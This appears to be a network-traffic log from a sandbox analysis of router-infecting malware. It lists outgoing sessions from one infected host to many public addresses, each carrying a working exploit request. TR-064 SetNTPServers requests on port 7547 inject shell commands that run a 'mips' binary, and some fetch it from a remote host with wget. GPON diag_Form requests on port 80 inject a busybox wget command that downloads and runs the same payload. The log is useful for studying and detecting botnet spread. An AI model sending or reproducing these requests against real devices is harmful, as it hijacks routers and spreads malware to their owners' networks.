Apr 15, 2024 08:53:49.021375895 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1264	192.168.2.13	45528	175.205.220.251	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.114828110 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:49.484374046 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:50.368432999 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1265	192.168.2.13	53606	51.191.172.250	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.116930962 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:49.416342020 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 06:53:48 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1266	192.168.2.13	59414	181.170.221.173	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.127559900 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1267	192.168.2.13	51582	24.232.201.98	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.162636042 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1268	192.168.2.13	33190	115.64.16.28	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.187769890 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:49.511719942 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 16:53:48 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1269	192.168.2.13	60364	216.104.181.172	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.219063044 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:50.080399990 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:50.236526966 CEST	501	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 307 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 65 6b 61 65 74 74 65 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at www.ekaette.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1270	192.168.2.13	36172	45.43.195.81	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.219084978 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:50.080442905 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:50.233163118 CEST	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:49 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1271	192.168.2.13	47130	105.106.237.219	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.221673965 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:50.240367889 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1272	192.168.2.13	56396	46.61.109.54	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.272030115 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:49.633222103 CEST	159	IN	HTTP/1.1 501 Not Implemented Content-Type: text/html; charset=utf-8 Content-Length: 54 Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>501 Not Implemented</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1273	192.168.2.13	40008	5.12.84.240	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.393532991 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:49.735435009 CEST	473	IN	HTTP/1.1 302 Found Location: https://255.255.255.255:443/GponForm/diag_Form?images/ Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'none' Content-Length: 98 X-Frame-Options: SAMEORIGIN Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1274	192.168.2.13	43428	182.242.216.220	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.397166014 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:49.739634991 CEST	189	IN	HTTP/1.1 404 Not Found Content-Length: 0 X-NWS-LOG-UUID: 14195302491777280335 Connection: close Server: lego_v4 Date: Mon, 15 Apr 2024 06:53:49 GMT X-Cache-Lookup: Return Directly
Apr 15, 2024 08:53:49.915360928 CEST	1	IN	Data Raw: 0d Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1275	192.168.2.13	37732	66.181.175.226	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.442039013 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:49.822695971 CEST	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Apr 2024 06:53:49 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1276	192.168.2.13	33456	181.167.49.14	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.473191977 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1277	192.168.2.13	49910	183.124.126.76	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.475713015 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1278	192.168.2.13	43790	49.207.178.58	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.566814899 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:49.924069881 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 12:23:49 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1279	192.168.2.13	39838	45.33.245.142	7547

Timestamp	Bytes transferred	Direction	Data
